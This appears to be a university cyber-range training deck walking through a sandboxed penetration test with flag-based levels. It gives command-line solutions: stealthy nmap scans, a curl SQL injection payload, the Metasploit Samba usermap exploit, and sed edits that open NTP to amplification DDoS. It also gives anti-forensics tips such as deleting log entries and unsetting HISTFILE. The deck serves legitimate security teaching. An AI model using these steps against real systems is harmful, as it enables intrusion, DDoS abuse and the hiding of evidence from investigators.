Cybernetic Proving Ground

Penetration Testing Scenario

Jakub Čegan, Martin Vizváry, Michal Procházka

cegan@ics.muni.cz

Institute of Computer Science, Masaryk University

About The Scenario

"In this game you are going to play a role of a hacker/cracker. Your goal is to compromise server in a company network of unfortunate company. This machine is going to be abused as a attacker in a DDoS attack. Goal of this attack is to bring down a server of one unpopular company. You hope that you and your group will be widely recognized in media thanks to this cyber operation."

Levels & Rules for a Scenario

Scenario Levels

- Level 1 – Network Exploration
- Level 2 – Search for Information
- Level 3 – Take Over an Server
- Level 4 – Preparing an DDoS Amplification Attack

Rules

- In each level is your goal to find an secret flag.
- Flag is created by a tool sha1sum from key information of each level. Example of the flag:
  - $ echo Alfa,Beta,Gama | sha1sum
  - 0713e2934c5f657b74349aa552b95a3b6ca086aa

Connecting to a Sandbox

1. Username for a computer is GuestXYZ. Password is your conference password.
2. Open Chrome browser and connect to kypo.ics.muni.cz.
3. Portal username is GuestXYZ. Use your conference password with it.
4. You have to connect to your sandbox via SSH.
   - 4.1 Start Putty and configure it according with your tutorial handout.
   - 4.2 Sandbox SSH username is root, password 41ms (Aims in l33t)
5. You should be connected to the sandbox via portal and SSH.

If you have any difficulties during connection to the sandbox, please ask lectors for help.

Level 1 – Network Exploration

Motivation

- CSIRT-MU detects tens of scans each day.
- Scans explore network and discover forgoten/unpatched services.
- It is possible to make your scans less visible, e.g. use slow scans.

Flag for this level

- Flag is an ordered list of open ports of a web server.
- Example of the flag:
  - $ echo 22,81,111,139,443 | sha1sum
  - 1582f31472fdb1d1219b0a1e0420ec75d9057cf4

Level 1 – Solution

Our "recommended" solution

1. Use nmap as follows:
   - $ nmap -P0 -p 80 10.10.1.0/24
2. If you want to hide little bit, use nmap in this way:
   - $ nmap -P0 -p 80 -T1 10.10.1.0/24
3. Flag is: $ echo 22,80,111,139,445 | sha1sum

Level 2 – Search for Information

Motivation

- Getting as much information about the server gives you chance to discover the way how to get into.
- The server needn't to be really interesting, but you can get access to the internal network where much valuable and unprotected machines can be running.
- There are still quite a lot of services on the Internet which are vulnerable to various exploits.

Flag for this level

- Flag is a vulnerability code in CVE database.
- Example of the flag:
  - `$ echo CVE-2011-1183 | sha1sum`
  - `68924421ec389ec6cc6b6f62ab3bda7ca8b7b14a`

Level 2 – Solution

Our "recommended" solution

1. Find login script (user.php) in web page code. Still some web pages do not do sanity check of the input, so try SQL injection.
2. $ curl -d "user=admin&password=admin’ or 1=1;–" http://10.10.1.2/user.php
3. Search injection output for CVE-2007-2447
4. Flag is: $ echo CVE-2007-2447 | sha1sum

Level 3 – Take Over an Server

Motivation

- Utilizing existing exploits from exploit-db.com is quite easy.
- Usually gets an access to the machine via remote shell.
- If you have a full access then you can do whatever you want.

Flag for this level

- Flag is a checksum of an file content.
- Example of the flag:
  - $ cat file.txt | sha1sum
  - 6d8db1249892eb46dae3ca43e5d38d50a5364ce2

Level 3 – Solution

Our "recommended" solution

1. Run Metasploit – $ msfconsole.
2. Run Samba usermap exploit.
   2.1 use expoloit/multi/samba/usermap_script
   2.2 set RHOST 10.10.1.2
   2.3 exploit
3. $ ls /
4. $ cat /flag.txt | sha1sum

Level 4 – Preparing an DDoS Amplification Attack

Motivation

- Money?
- Harm other systems using network of hacked machines.

Flag for this level

- Please use Check last level button.

Level 4 – Solution

Our "recommended" solution

1. We need to change /etc/ntp.conf and make NTP daemon vulnerable to amplification attack.
2. Interactive edition via telnet is not so user friendly, therefore we use sed to modify the configuration file.
3. $ sed -i ’s/^disable monitor$/enable monitor/’ /etc/ntp.conf
4. $ sed -i ’s/ noquery$//’ /etc/ntp.conf
5. $ /etc/init.d/ntp restart
6. Use Check last level button.

Pentesting Scenario Conclusion

Forensics analysis

- Trying to find what happened on the attacked machine.
- Gathering all the evidences: logs, timestamps, network traffic, ...
- Minimize traces makes forensics analysis harder.

Advices

- What you should do when you want to hide.
- What you have to take into account when you are investigating a security incident.

Pentesting Scenario Conclusion - Level 1

How to be a better hacker:-)

- When using nmap, do not use it in a default configuration because it causes visible traffic on a network. Using the option *-T1* will slow down the probe packets, so your scanning will not be easily visible by a network monitoring tools.
- When scanning the network use different IP from one which will be used for the intrusion.
- Triggering more scans from different sources can hide your attempts.
- For any storage use /dev/shm which is virtual disc mounted in RAM, so no trace of any activity is stored onto the hard disc. Do not forget to delete your files.

Pentesting Scenario Conclusion - Level 2

How to be a better hacker:-)

- Be aware that web servers usually logs all access to the web pages, so your attempts will be visible. When you finally get an access to the machine, it is wise to erase your log entries in the web server's logs. Luckily POST data are usually not logged.
- Span SQL injection requests in a large time scale and use different IPs.

Pentesting Scenario Conclusion - Level 3

How to be a better hacker:-)

- Be aware that some file systems have enabled atime, which means every file has a record when it was accessed last time.
- From the forensics point of view it is quite easy to gather all the file timestamps including atime from all the files on the file system and have a brief view what the attacker accessed (correlation between attacker access time to the machine and atimes on the files).

Pentesting Scenario Conclusion - Level 4

How to be a better hacker:-)

- Everytime when you gain an access to any remote linux machine with interactive shell then unset environment variable HISTFILE, this will disable recording of your commands entered on the command line. Better way to run commands on the remote machine is to use non-interactive access via SSH.
- Be aware when using tools like vim/less, they are storing selected actions in local files, e.g. /.vimrc, /.lesshst. Use cat instead of less, use sed instead of direct editing.

Conclusion

It is still better to be on a light side of the force . . .

Thank you for your attention!

Project Webpage

http://www.muni.cz/ics/kypo

Jakub Čegan, Martin Vizváry, Michal Procházka

cegan@ics.muni.cz